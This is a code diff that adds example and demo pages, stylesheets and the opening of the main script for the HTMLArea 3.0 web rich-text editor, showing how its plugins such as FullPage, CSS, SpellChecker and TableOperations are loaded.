+ "Deprecated" : "deprecated"
+ }
+ }
+ ]
+ });
+ editor.generate();
+ }
+ </script>
+
+ </head>
+
+ <body onload="initDocument()">
+ <h1>Test of FullPage plugin</h1>
+
+ <textarea id="editor" style="height: 30em; width: 100%;"
+><h1><tt>registerDropdown</tt></h1>
+
+<p>Here's some sample code that adds a dropdown to the toolbar. Go on, do
+ syntax highlighting on it ;-)</p>
+
+<pre>var the_options = {
+ "Keyword" : "keyword",
+ "Function name" : "function-name",
+ "String" : "string",
+ "Numeric" : "integer",
+ "Variable name" : "variable"
+};
+var css_class = {
+ id : "CSS-class",
+ tooltip : i18n["tooltip"],
+ options : the_options,
+ action : function(editor) { self.onSelect(editor, this); }
+};
+cfg.registerDropdown(css_class);
+toolbar[0].unshift(["CSS-class"]);</pre>
+
+<p>Easy, eh? ;-)</p></textarea>
+
+ <hr />
+ <address><a href="http://dynarch.com/mishoo/">Mihai Bazon</a></address>
+<!-- Created: Wed Oct 1 19:55:37 EEST 2003 -->
+<!-- hhmts start --> Last modified: Wed Jan 28 11:10:16 EET 2004 <!-- hhmts end -->
+<!-- doc-lang: English -->
+ </body>
+</html>
--- /dev/null
+body { background-color: #234; color: #dd8; font-family: tahoma; font-size: 12px; }
+
+a:link, a:visited { color: #8cf; }
+a:hover { color: #ff8; }
+
+h1 { background-color: #456; color: #ff8; padding: 2px 5px; border: 1px solid; border-color: #678 #012 #012 #678; }
+
+/* syntax highlighting (used by the first combo defined for the CSS plugin) */
+
+pre { margin: 0px 1em; padding: 5px 1em; background-color: #000; border: 1px dotted #02d; border-left: 2px solid #04f; }
+.code { color: #f5deb3; }
+.string { color: #00ffff; }
+.comment { color: #8fbc8f; }
+.variable-name { color: #fa8072; }
+.type { color: #90ee90; font-weight: bold; }
+.reference { color: #ee82ee; }
+.preprocessor { color: #faf; }
+.keyword { color: #ffffff; font-weight: bold; }
+.function-name { color: #ace; }
+.html-tag { font-weight: bold; }
+.html-helper-italic { font-style: italic; }
+.warning { color: #ffa500; font-weight: bold; }
+.html-helper-bold { font-weight: bold; }
+
+/* info combo */
+
+.quote { font-style: italic; color: #ee9; }
+.highlight { background-color: yellow; color: #000; }
+.deprecated { text-decoration: line-through; color: #aaa; }
--- /dev/null
+<html>
+ <head>
+ <title>Test of FullPage plugin</title>
+ <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+ <script type="text/javascript">
+ _editor_url = "../";
+ _editor_lang = "en";
+ </script>
+
+ <!-- load the main HTMLArea files -->
+ <script type="text/javascript" src="../htmlarea.js"></script>
+
+ <script type="text/javascript">
+ HTMLArea.loadPlugin("FullPage");
+
+ function initDocument() {
+ var editor = new HTMLArea("editor");
+ editor.registerPlugin(FullPage);
+ editor.generate();
+ }
+ </script>
+
+ </head>
+
+ <body onload="initDocument()">
+ <h1>Test of FullPage plugin</h1>
+
+ <textarea id="editor" style="height: 30em; width: 100%;">
+ <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
+ <html>
+ <head>
+ <title>FullPage plugin for HTMLArea</title>
+ <link rel="alternate stylesheet" href="http://dynarch.com/mishoo/css/dark.css" />
+ <link rel="stylesheet" href="http://dynarch.com/mishoo/css/cool-light.css" />
+ </head>
+ <body style="background-color: #ddddee; color: #000077;">
+ <table style="width:60%; height: 90%; margin: 2% auto 1% auto;" align="center" border="0" cellpadding="0" cellspacing="0">
+ <tr>
+ <td style="background-color: #ddeedd; border: 2px solid #002; height: 1.5em; padding: 2px; font: bold 24px Verdana;">
+ FullPage plugin
+ </td>
+ </tr>
+ <tr>
+ <td style="background-color: #fff; border: 1px solid #aab; padding: 1em 3em; font: 12px Verdana;">
+ <p>
+ This plugin enables one to edit a full HTML file in <a
+ href="http://dynarch.com/htmlarea/">HTMLArea</a>. This is not
+ normally possible with just the core editor since it only
+ retrieves the HTML inside the <code>body</code> tag.
+ </p>
+ <p>
+ It provides the ability to change the <code>DOCTYPE</code> of
+ the document, <code>body</code> <code>bgcolor</code> and
+ <code>fgcolor</code> attributes as well as to add additional
+ <code>link</code>-ed stylesheets. Cool, eh?
+ </p>
+ <p>
+ The development of this plugin was initiated and sponsored by
+ <a href="http://thycotic.com">Thycotic Software Ltd.</a>.
+ That's also cool, isn't it? ;-)
+ </p>
+ </td>
+ </tr>
+ </table>
+ </body>
+ </html>
+ </textarea>
+
+ <hr />
+ <address><a href="http://dynarch.com/mishoo/">Mihai Bazon</a></address>
+<!-- Created: Wed Oct 1 19:55:37 EEST 2003 -->
+<!-- hhmts start --> Last modified: Wed Jan 28 11:10:07 EET 2004 <!-- hhmts end -->
+<!-- doc-lang: English -->
+ </body>
+</html>
--- /dev/null
+<html>
+<head>
+<title>Example of HTMLArea 3.0</title>
+
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+
+<!-- Configure the path to the editor. We make it relative now, so that the
+ example ZIP file will work anywhere, but please NOTE THAT it's better to
+ have it an absolute path, such as '/htmlarea/'. -->
+<script type="text/javascript">
+ _editor_url = "../";
+ _editor_lang = "en";
+</script>
+
+<!-- load the main HTMLArea file, this will take care of loading the CSS and
+ other required core scripts. -->
+<script type="text/javascript" src="../htmlarea.js"></script>
+
+<!-- load the plugins -->
+<script type="text/javascript">
+ // WARNING: using this interface to load plugin
+ // will _NOT_ work if plugins do not have the language
+ // loaded by HTMLArea.
+
+ // In other words, this function generates SCRIPT tags
+ // that load the plugin and the language file, based on the
+ // global variable HTMLArea.I18N.lang (defined in the lang file,
+ // in our case "lang/en.js" loaded above).
+
+ // If this lang file is not found the plugin will fail to
+ // load correctly and nothing will work.
+
+ HTMLArea.loadPlugin("TableOperations");
+ HTMLArea.loadPlugin("SpellChecker");
+ HTMLArea.loadPlugin("FullPage");
+ HTMLArea.loadPlugin("CSS");
+ HTMLArea.loadPlugin("ContextMenu");
+ HTMLArea.loadPlugin("HtmlTidy");
+ HTMLArea.loadPlugin("ListType");
+</script>
+
+<style type="text/css">
+html, body {
+ font-family: Verdana,sans-serif;
+ background-color: #fea;
+ color: #000;
+}
+a:link, a:visited { color: #00f; }
+a:hover { color: #048; }
+a:active { color: #f00; }
+
+textarea { background-color: #fff; border: 1px solid 00f; }
+</style>
+
+<script type="text/javascript">
+var editor = null;
+function initEditor() {
+
+ // create an editor for the "ta" textbox
+ editor = new HTMLArea("ta");
+
+ // register the FullPage plugin
+ editor.registerPlugin(FullPage);
+
+ // register the SpellChecker plugin
+ editor.registerPlugin(TableOperations);
+
+ // register the SpellChecker plugin
+ editor.registerPlugin(SpellChecker);
+
+ // register the HtmlTidy plugin
+ editor.registerPlugin(HtmlTidy);
+
+ // register the ListType plugin
+ editor.registerPlugin(ListType);
+
+ // register the CSS plugin
+ editor.registerPlugin(CSS, {
+ combos : [
+ { label: "Syntax:",
+ // menu text // CSS class
+ options: { "None" : "",
+ "Code" : "code",
+ "String" : "string",
+ "Comment" : "comment",
+ "Variable name" : "variable-name",
+ "Type" : "type",
+ "Reference" : "reference",
+ "Preprocessor" : "preprocessor",
+ "Keyword" : "keyword",
+ "Function name" : "function-name",
+ "Html tag" : "html-tag",
+ "Html italic" : "html-helper-italic",
+ "Warning" : "warning",
+ "Html bold" : "html-helper-bold"
+ },
+ context: "pre"
+ },
+ { label: "Info:",
+ options: { "None" : "",
+ "Quote" : "quote",
+ "Highlight" : "highlight",
+ "Deprecated" : "deprecated"
+ }
+ }
+ ]
+ });
+
+ // add a contextual menu
+ editor.registerPlugin("ContextMenu");
+
+ // load the stylesheet used by our CSS plugin configuration
+ editor.config.pageStyle = "@import url(custom.css);";
+
+ setTimeout(function() {
+ editor.generate();
+ }, 500);
+ return false;
+}
+
+function insertHTML() {
+ var html = prompt("Enter some HTML code here");
+ if (html) {
+ editor.insertHTML(html);
+ }
+}
+function highlight() {
+ editor.surroundHTML('<span style="background-color: yellow">', '</span>');
+}
+</script>
+
+</head>
+
+<!-- use <body onload="HTMLArea.replaceAll()" if you don't care about
+ customizing the editor. It's the easiest way! :) -->
+<body onload="initEditor()">
+
+<h1>HTMLArea 3.0</h1>
+
+<p>A replacement for <code>TEXTAREA</code> elements. © <a
+href="http://interactivetools.com">InteractiveTools.com</a>, 2003-2004.</p>
+
+<form action="test.cgi" method="post" id="edit" name="edit">
+
+<textarea id="ta" name="ta" style="width:100%" rows="24" cols="80">
+<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 3.2//EN">
+<html>
+
+<head>
+<title>Passing parameters to JavaScript code</title>
+<link rel="stylesheet" href="custom.css" />
+</head>
+
+<body>
+<h1>Passing parameters to JavaScript code</h1>
+
+<p>Sometimes we need to pass parameters to some JavaScript function that we
+wrote ourselves. But sometimes it's simply more convenient to include the
+parameter not in the function call, but in the affected HTML elements.
+Usually, all JavaScript calls affect some element, right? ;-)</p>
+
+<p>Well, here's an original way to do it. Or at least, I think it's
+original.</p>
+
+<h2>But first...</h2>
+
+<p>... an example. Why would I need such thing? I have a JS function that
+is called on <code>BODY</code> <code>onload</code> handler. This function
+tries to retrieve the element with the ID "conttoc" and, if present, it will
+<a href="toc.epl" title="Automatic TOC generation">generate an index</a>.
+The problem is, this function exists in some external JavaScript library
+that it's loaded in page. I only needed to pass the parameter from
+<em>one</em> page. Thus, it makes sense to pass the parameter from the HTML
+code on <em>that</em> page, not to affect the others.</p>
+
+<p>The first idea that came to me was to use some attribute, like "id" or
+"class". But "id" was locked already, it <em>had</em> to be "conttoc". Use
+"class"? It's not elegant.. what if I really wanted to give it a class, at
+some point?</p>
+
+<h2>The idea</h2>
+
+<p>So I thought: what are the HTML elements that do not affect the page
+rendering in any way? Well, comments. I mean, <em>comments</em>, HTML
+comments. You know, like <code>&lt;!-- this is a comment --&gt;</code>.</p>
+
+<p>Though comments do not normally affect the way browser renders the page,
+they are still parsed and are part of the DOM, as well as any other node.
+But this mean that we can access comments from JavaScript code, just like we
+access any other element, right? Which means that they <em>can</em> affect
+the way that page finally appears ;-)</p>
+
+<h2>The code</h2>
+
+<p>The main part was the idea. The code is simple ;-) Suppose we have the
+following HTML code:</p>
+
+<pre class="code"><span class="function-name">&lt;</span><span class="html-tag">div</span> <span class="variable-name">id=</span><span class="string">&quot;conttoc&quot;</span><span class="paren-face-match">&gt;</span><span class="function-name">&lt;</span><span class="html-tag">/div</span><span class="function-name">&gt;</span></pre>
+
+<p>and our function checks for the presence an element having the ID
+"conttoc", and generates a table of contents into it. Our code will also
+check if the "conttoc" element's first child is a comment node, and if so
+will parse additional parameters from there, for instance, a desired prefix
+for the links that are to be generated into it. Why did I need it? Because
+if the page uses a <code>&lt;base&gt;</code> element to specify the default
+link prefix, then links like "#gen1" generated by the <a href="toc.epl">toc
+generator</a> will not point to that same page as they should, but to the
+page reffered from <code>&lt;base&gt;</code>.</p>
+
+<p>So the HTML would now look like this:</p>
+
+<pre class="code"><span class="function-name">&lt;</span><span class="html-tag">div</span> <span class="variable-name">id=</span><span class="string">&quot;conttoc&quot;</span><span class="function-name">&gt;</span><span class="comment">&lt;!-- base:link/prefix.html --&gt;</span><span class="paren-face-match">&lt;</span><span class="html-tag">/div</span><span class="paren-face-match">&gt;</span></pre>
+
+<p>And our TOC generation function does something like this:</p>
+
+<pre class="code"><span class="keyword">var</span> <span class="variable-name">element</span> = getElementById(&quot;<span class="string">conttoc</span>&quot;);
+<span class="keyword">if</span> (element.firstChild &amp;&amp; element.firstChild.nodeType == 8) {
+ <span class="comment">// 8 means Node.COMMENT_NODE. We're using numeric values
+</span> <span class="comment">// because IE6 does not support constant names.
+</span> <span class="keyword">var</span> <span class="variable-name">parameters</span> = element.firstChild.data;
+ <span class="comment">// at this point &quot;parameters&quot; contains base:link/prefix.html
+</span> <span class="comment">// ...
+</span>}</pre>
+
+<p>So we retrieved the value passed to the script from the HTML code. This
+was the goal of this article.</p>
+
+<hr />
+<address><a href="http://students.infoiasi.ro/~mishoo/">Mihai Bazon</a></address>
+<!-- hhmts start --> Last modified on Thu Apr 3 20:34:17 2003
+<!-- hhmts end -->
+<!-- doc-lang: English -->
+</body>
+</html>
+</textarea>
+
+<p />
+
+<input type="submit" name="ok" value=" submit " />
+<input type="button" name="ins" value=" insert html " onclick="return insertHTML();" />
+<input type="button" name="hil" value=" highlight text " onclick="return highlight();" />
+
+<a href="javascript:mySubmit()">submit</a>
+
+<script type="text/javascript">
+function mySubmit() {
+// document.edit.save.value = "yes";
+document.edit.onsubmit(); // workaround browser bugs.
+document.edit.submit();
+};
+</script>
+
+</form>
+
+</body>
+</html>
--- /dev/null
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+ <head>
+ <title>Test of Image Manager plugin</title>
+ <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+ <style type="text/css">
+ /*<![CDATA[*/
+ <!--
+ .textarea { height: 30em; width: 80%; }
+ -->
+ /*]]>*/
+ </style>
+ <script type="text/javascript">
+ //<![CDATA[
+ _editor_url = "../";
+ _editor_lang = "en";
+ //]]>
+ </script><!-- load the main HTMLArea file -->
+ <script type="text/javascript" src="../htmlarea.js">
+ </script>
+ <script type="text/javascript">
+ //<![CDATA[
+
+ HTMLArea.loadPlugin("ImageManager");
+ HTMLArea.loadPlugin("CSS");
+ HTMLArea.loadPlugin("ContextMenu");
+ initdocument = function () {
+ var editor = new HTMLArea("editor");
+
+ // add a contextual menu
+ editor.registerPlugin("ContextMenu");
+
+ // load the stylesheet used by our CSS plugin configuration
+ editor.config.pageStyle = "@import url(http://devsys/www.dioceseofgaylord.com/diocese.css);";
+
+ editor.generate();
+ }
+ function addEvent(obj, evType, fn)
+ {
+ if (obj.addEventListener) { obj.addEventListener(evType, fn, true); return true; }
+ else if (obj.attachEvent) { var r = obj.attachEvent("on"+evType, fn); return r; }
+ else { return false; }
+ }
+ addEvent(window, 'load', initdocument);
+ //]]>
+ </script>
+ </head>
+ <body>
+ <h1>HTMLArea 3 RC1 + Image Manager + Image Editor</h1>
+ <p>PHP Image Manager, Image Editor for HTMLArea. Requires PHP, GD or NetPBM or
+ ImageMagick.</p>
+ <ul>
+ <li>Auto cache thumbnails (JPEG, PNG, GIF depending on GD).</li>
+ <li>Filmstrip view.</li>
+ <li>Online Image Editor.</li>
+ <li>Create folders (if permitting).</li>
+ <li>Editor - Resize, Crop, Rotate, Save as.</li>
+ </ul>
+ <div><textarea id="editor" class="textarea" rows="10" cols="40"></textarea></div>
+ <hr />
+ <address>
+ <a href="http://www.zhuo.org/htmlarea/" title="Home of the ImageManger+Editor">Xiang Wei Zhuo</a>
+ </address>
+ </body>
+</html>
--- /dev/null
+<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
+<html> <head>
+<title>HTMLArea examples index</title>
+</head>
+
+<body>
+<h1>HTMLArea: auto-generated examples index</h1>
+
+<ul>
+% while (<*.html>) {
+% next if /^index.html$/;
+ <li>
+ <a href="<% $_ %>"><% $_ %></a>
+ </li>
+% }
+</ul>
+
+<hr />
+<address>mishoo@infoiasi.ro</address>
+<!-- hhmts start --> Last modified: Sun Feb 1 13:30:39 EET 2004 <!-- hhmts end -->
+</body> </html>
+
+<%INIT>
+my $dir = $m->interp->comp_root;
+$dir =~ s{/+$}{}g;
+#$dir =~ s{/[^/]+$}{}g;
+$dir .= $m->current_comp->dir_path;
+chdir $dir;
+</%INIT>
--- /dev/null
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+<title>Example of HTMLArea 3.0 -- ListType plugin</title>
+
+<script type="text/javascript">
+ _editor_lang = "en";
+ _editor_url = "../";
+</script>
+
+<!-- load the main HTMLArea files -->
+<script type="text/javascript" src="../htmlarea.js"></script>
+
+<style type="text/css">
+html, body {
+ font-family: Verdana,sans-serif;
+ background-color: #fea;
+ color: #000;
+}
+a:link, a:visited { color: #00f; }
+a:hover { color: #048; }
+a:active { color: #f00; }
+
+textarea { background-color: #fff; border: 1px solid 00f; }
+</style>
+
+<script type="text/javascript">
+// load the plugin files
+HTMLArea.loadPlugin("ListType");
+var editor = null;
+function initEditor() {
+ editor = new HTMLArea("ta");
+ editor.registerPlugin(ListType);
+ editor.generate();
+ return false;
+}
+</script>
+
+</head>
+
+<body onload="initEditor()">
+
+<h1>HTMLArea :: the ListType plugin</h1>
+
+<form action="test.cgi" method="post" id="edit" name="edit">
+
+<textarea id="ta" name="ta" style="width:100%" rows="24" cols="80">
+
+<p>List style type is selected using the CSS property
+"list-style-type". Hopefully it will work with Internet Explorer,
+right? ;-) Let's start the monster to test it out.<br /></p><p>Cool, it
+works. Except for "lower-greek", which doesn't seem to be
+supported (and worse, a gross error message is displayed). Therefore, I
+hide that proerty from IE--it will only be available if the browser is not
+IE.<br /></p><ol style="list-style-type: decimal;"><li>This is a list<br
+/></li><li>with decimal numbers<br /></li><li>blah blah<br /></li><li>dolor
+sic amet<br /></li></ol><ol style="list-style-type: lower-greek;"><li>yet
+another</li><li>list with greek<br /></li><li>letters<br /></li><li>lorem
+ipsum<br /></li><li>yada yada<br /></li></ol>
+
+</textarea>
+
+</form>
+
+</body>
+</html>
--- /dev/null
+<files>
+ <file name="*.{js,html,css,cgi}" />
+ <file name="index.html" masonize="yes" />
+</files>
--- /dev/null
+<html>
+<head>
+<title>Example of HTMLArea 3.0</title>
+
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+
+<!-- Configure the path to the editor. We make it relative now, so that the
+ example ZIP file will work anywhere, but please NOTE THAT it's better to
+ have it an absolute path, such as '/htmlarea/'. -->
+<script type="text/javascript">
+ _editor_lang = "en";
+ _editor_url = "../";
+</script>
+<!-- load the main HTMLArea files -->
+<script type="text/javascript" src="../htmlarea.js"></script>
+
+<style type="text/css">
+html, body {
+ font-family: Verdana,sans-serif;
+ background-color: #fea;
+ color: #000;
+}
+a:link, a:visited { color: #00f; }
+a:hover { color: #048; }
+a:active { color: #f00; }
+
+textarea { background-color: #fff; border: 1px solid 00f; }
+</style>
+
+<script type="text/javascript">
+HTMLArea.loadPlugin("SpellChecker");
+var editor = null;
+function initEditor() {
+ // create an editor for the "ta" textbox
+ editor = new HTMLArea("ta");
+
+ // register the SpellChecker plugin
+ editor.registerPlugin(SpellChecker);
+
+ editor.generate();
+ return false;
+}
+
+function insertHTML() {
+ var html = prompt("Enter some HTML code here");
+ if (html) {
+ editor.insertHTML(html);
+ }
+}
+function highlight() {
+ editor.surroundHTML('<span style="background-color: yellow">', '</span>');
+}
+</script>
+
+</head>
+
+<!-- use <body onload="HTMLArea.replaceAll()" if you don't care about
+ customizing the editor. It's the easiest way! :) -->
+<body onload="initEditor()">
+
+<h1>HTMLArea 3.0</h1>
+
+<p>A replacement for <code>TEXTAREA</code> elements. © <a
+href="http://interactivetools.com">InteractiveTools.com</a>, 2003-2004.</p>
+
+<p>Plugins:
+ <tt>SpellChecker</tt> (sponsored by <a
+ href="http://americanbible.org">American Bible Society</a>).
+</p>
+
+<form action="test.cgi" method="post" id="edit" name="edit">
+
+<textarea id="ta" name="ta" style="width:100%" rows="24" cols="80">
+
+<h1>The <tt>SpellChecker</tt> plugin</h1>
+
+ <p>This file deminstrates the <tt>SpellChecker</tt> plugin of
+ HTMLArea. To inwoke the spell checkert you need to press the
+ <em>spell-check</em> buton in the toolbar.</p>
+
+ <p>The spell-checker uses a serverside script written in Perl. The
+ Perl script calls <a href="http://aspell.net">aspell</a> for any
+ word in the text and reports wordz that aren't found in the
+ dyctionari.</p>
+
+ <p>The document that yu are reading now <b>intentionaly</b> containes
+ some errorz, so that you have something to corect ;-)</p>
+
+ <p>Credits for the <tt>SpellChecker</tt> plugin go to:</p>
+
+ <ul>
+
+ <li><a href="http://aspell.net">Aspell</a> -- spell
+ checker</li>
+
+ <li>The <a href="http://perl.org">Perl</a> programming language</li>
+
+ <li><tt><a
+ href="http://cpan.org/modules/by-module/Text/Text-Aspell-0.02.readme">Text::Aspell</a></tt>
+ -- Perl interface to Aspell</li>
+
+ <li><a href="http://americanbible.org">American Bible Society</a> --
+ for sponsoring the <tt>SpellChecker</tt> plugin for
+ <tt>HTMLArea</tt></li>
+
+ <li><a href="http://dynarch.com/mishoo/">Your humble servant</a> for
+ implementing it ;-)</li>
+
+ </ul>
+
+</textarea>
+
+<p />
+
+<input type="submit" name="ok" value=" submit " />
+<input type="button" name="ins" value=" insert html " onclick="return insertHTML();" />
+<input type="button" name="hil" value=" highlight text " onclick="return highlight();" />
+
+<a href="javascript:mySubmit()">submit</a>
+
+<script type="text/javascript">
+function mySubmit() {
+// document.edit.save.value = "yes";
+document.edit.onsubmit(); // workaround browser bugs.
+document.edit.submit();
+};
+</script>
+
+</form>
+
+</body>
+</html>
--- /dev/null
+<html>
+<head>
+<title>Example of HTMLArea 3.0</title>
+
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+
+<!-- Configure the path to the editor. We make it relative now, so that the
+ example ZIP file will work anywhere, but please NOTE THAT it's better to
+ have it an absolute path, such as '/htmlarea/'. -->
+<script type="text/javascript">
+ _editor_lang = "en";
+ _editor_url = "../";
+</script>
+<!-- load the main HTMLArea files -->
+<script type="text/javascript" src="../htmlarea.js"></script>
+
+<style type="text/css">
+html, body {
+ font-family: Verdana,sans-serif;
+ background-color: #fea;
+ color: #000;
+}
+a:link, a:visited { color: #00f; }
+a:hover { color: #048; }
+a:active { color: #f00; }
+
+textarea { background-color: #fff; border: 1px solid 00f; }
+</style>
+
+<script type="text/javascript">
+// load the plugin files
+HTMLArea.loadPlugin("TableOperations");
+
+var editor = null;
+function initEditor() {
+ // create an editor for the "ta" textbox
+ editor = new HTMLArea("ta");
+
+ // register the TableOperations plugin with our editor
+ editor.registerPlugin(TableOperations);
+
+ editor.generate();
+ return false;
+}
+
+function insertHTML() {
+ var html = prompt("Enter some HTML code here");
+ if (html) {
+ editor.insertHTML(html);
+ }
+}
+function highlight() {
+ editor.surroundHTML('<span style="background-color: yellow">', '</span>');
+}
+</script>
+
+</head>
+
+<!-- use <body onload="HTMLArea.replaceAll()" if you don't care about
+ customizing the editor. It's the easiest way! :) -->
+<body onload="initEditor()">
+
+<h1>HTMLArea 3.0</h1>
+
+<p>A replacement for <code>TEXTAREA</code> elements. © <a
+href="http://interactivetools.com">InteractiveTools.com</a>, 2003-2004.</p>
+
+<p>Page that demonstrates the additional features of the
+<tt>TableOperations</tt> plugin (sponsored by <a
+href="http://www.bloki.com">Zapatec Inc.</a>).</p>
+
+<form action="test.cgi" method="post" id="edit" name="edit">
+
+<textarea id="ta" name="ta" style="width:100%" rows="24" cols="80">
+
+<h1>Plugin: <tt>TableOperations</tt></h1>
+
+<p>This page exemplifies the table operations toolbar, provided by the
+TableOperations plugin.</p>
+
+<p>Following there is a table.</p>
+
+<table border="1" style="border: 2px solid rgb(255, 0, 0); width: 80%; background-image: none; border-collapse: collapse; color: rgb(153, 102, 0); background-color: rgb(255, 255, 51);" align="center" cellspacing="2" cellpadding="1" summary="">
+ <caption>This <span style="font-weight: bold;">is</span> a table</caption>
+ <tbody>
+ <tr style="border-style: none; background-image: none; background-color: rgb(255, 255, 153);" char="." align="left" valign="middle"> <td>1.1</td> <td>1.2</td> <td>1.3</td> <td>1.4</td> </tr>
+ <tr> <td>2.1</td> <td style="border: 1px solid rgb(51, 51, 255); background-image: none; background-color: rgb(102, 255, 255); color: rgb(0, 0, 51);" char="." align="left" valign="middle">2.2</td> <td>2.3</td> <td>2.4</td> </tr>
+ <tr> <td>3.1</td> <td>3.2</td> <td style="border: 2px dashed rgb(51, 204, 102); background-image: none; background-color: rgb(102, 255, 153); color: rgb(0, 51, 0);" char="." align="left" valign="middle">3.3</td> <td>3.4</td> </tr>
+ <tr> <td style="background-color: rgb(255, 204, 51);">4.1</td> <td style="background-color: rgb(255, 204, 51);">4.2</td> <td style="background-color: rgb(255, 204, 51);">4.3</td> <td style="background-color: rgb(255, 204, 51);">4.4</td> </tr>
+ </tbody>
+</table>
+
+<p>Text after the table</p>
+
+</textarea>
+
+<p />
+
+<input type="submit" name="ok" value=" submit " />
+<input type="button" name="ins" value=" insert html " onclick="return insertHTML();" />
+<input type="button" name="hil" value=" highlight text " onclick="return highlight();" />
+
+<a href="javascript:mySubmit()">submit</a>
+
+<script type="text/javascript">
+function mySubmit() {
+// document.edit.save.value = "yes";
+document.edit.onsubmit(); // workaround browser bugs.
+document.edit.submit();
+};
+</script>
+
+</form>
+
+</body>
+</html>
--- /dev/null
+.htmlarea { background: #fff; }
+
+.htmlarea .toolbar {
+ cursor: default;
+ background: ButtonFace;
+ padding: 1px 1px 2px 1px;
+ border: 1px solid;
+ border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight;
+}
+.htmlarea .toolbar table { font-family: tahoma,verdana,sans-serif; font-size: 11px; }
+.htmlarea .toolbar img { border: none; }
+.htmlarea .toolbar .label { padding: 0px 3px; }
+
+div.backtotop {font-size:11px;text-align:center; clear:both;}
+.htmlarea .toolbar .button {
+ background: ButtonFace;
+ color: ButtonText;
+ border: 1px solid ButtonFace;
+ padding: 1px;
+ margin: 0px;
+ width: 18px;
+ height: 18px;
+}
+.htmlarea .toolbar .buttonHover {
+ border: 1px solid;
+ border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight;
+}
+.htmlarea .toolbar .buttonActive, .htmlarea .toolbar .buttonPressed {
+ padding: 2px 0px 0px 2px;
+ border: 1px solid;
+ border-color: ButtonShadow ButtonHighlight ButtonHighlight ButtonShadow;
+}
+.htmlarea .toolbar .buttonPressed {
+ background: ButtonHighlight;
+}
+.htmlarea .toolbar .indicator {
+ padding: 0px 3px;
+ overflow: hidden;
+ width: 20px;
+ text-align: center;
+ cursor: default;
+ border: 1px solid ButtonShadow;
+}
+
+.htmlarea .toolbar .buttonDisabled img {
+ filter: alpha(opacity = 25);
+ -moz-opacity: 0.25;
+}
+
+.htmlarea .toolbar .separator {
+ position: relative;
+ margin: 3px;
+ border-left: 1px solid ButtonShadow;
+ border-right: 1px solid ButtonHighlight;
+ width: 0px;
+ height: 16px;
+ padding: 0px;
+}
+
+.htmlarea .toolbar .space { width: 5px; }
+
+.htmlarea .toolbar select { font: 11px Tahoma,Verdana,sans-serif; }
+
+.htmlarea .toolbar select,
+.htmlarea .toolbar select:hover,
+.htmlarea .toolbar select:active { background: FieldFace; color: ButtonText; }
+
+.htmlarea .statusBar {
+ border: 1px solid;
+ border-color: ButtonShadow ButtonHighlight ButtonHighlight ButtonShadow;
+ padding: 2px 4px;
+ background-color: ButtonFace;
+ color: ButtonText;
+ font: 11px Tahoma,Verdana,sans-serif;
+}
+
+.htmlarea .statusBar .statusBarTree a {
+ padding: 2px 5px;
+ color: #00f;
+}
+
+.htmlarea .statusBar .statusBarTree a:visited { color: #00f; }
+.htmlarea .statusBar .statusBarTree a:hover {
+ background-color: Highlight;
+ color: HighlightText;
+ padding: 1px 4px;
+ border: 1px solid HighlightText;
+}
+
+
+/* Hidden DIV popup dialogs (PopupDiv) */
+
+.dialog {
+ color: ButtonText;
+ background: ButtonFace;
+}
+
+.dialog .content { padding: 2px; }
+
+.dialog, .dialog button, .dialog input, .dialog select, .dialog textarea, .dialog table {
+ font: 11px Tahoma,Verdana,sans-serif;
+}
+
+.dialog table { border-collapse: collapse; }
+
+.dialog .title {
+ background: #008;
+ color: #ff8;
+ border-bottom: 1px solid #000;
+ padding: 1px 0px 2px 5px;
+ font-size: 12px;
+ font-weight: bold;
+ cursor: default;
+}
+
+.dialog .title .button {
+ float: right;
+ border: 1px solid #66a;
+ padding: 0px 1px 0px 2px;
+ margin-right: 1px;
+ color: #fff;
+ text-align: center;
+}
+
+.dialog .title .button-hilite { border-color: #88f; background: #44c; }
+
+.dialog button {
+ width: 5em;
+ padding: 0px;
+}
+
+.dialog .buttonColor {
+ padding: 1px;
+ cursor: default;
+ border: 1px solid;
+ border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight;
+}
+
+.dialog .buttonColor-hilite {
+ border-color: #000;
+}
+
+.dialog .buttonColor .chooser, .dialog .buttonColor .nocolor {
+ height: 0.6em;
+ border: 1px solid;
+ padding: 0px 1em;
+ border-color: ButtonShadow ButtonHighlight ButtonHighlight ButtonShadow;
+}
+
+.dialog .buttonColor .nocolor { padding: 0px; }
+.dialog .buttonColor .nocolor-hilite { background-color: #fff; color: #f00; }
+
+.dialog .label { text-align: right; width: 6em; }
+.dialog .value input { width: 100%; }
+.dialog .buttons { text-align: right; padding: 2px 4px 0px 4px; }
+
+.dialog legend { font-weight: bold; }
+.dialog fieldset table { margin: 2px 0px; }
+
+.popupdiv {
+ border: 2px solid;
+ border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight;
+}
+
+.popupwin {
+ padding: 0px;
+ margin: 0px;
+}
+
+.popupwin .title {
+ background: #fff;
+ color: #000;
+ font-weight: bold;
+ font-size: 120%;
+ padding: 3px 10px;
+ margin-bottom: 10px;
+ border-bottom: 1px solid black;
+ letter-spacing: 2px;
+}
+
+form { margin: 0px; border: none; }
--- /dev/null
+// htmlArea v3.0 - Copyright (c) 2002-2004 interactivetools.com, inc.
+// This copyright notice MUST stay intact for use (see license.txt).
+//
+// Portions (c) dynarch.com, 2003-2004
+//
+// A free WYSIWYG editor replacement for <textarea> fields.
+// For full source code and docs, visit http://www.interactivetools.com/
+//
+// Version 3.0 developed by Mihai Bazon.
+// http://dynarch.com/mishoo
+//
+// $Id: htmlarea.js,v 1.1.1.1 2006/03/27 14:44:12 cscott Exp $
+
+if (typeof _editor_url == "string") {
+ // Leave exactly one backslash at the end of _editor_url
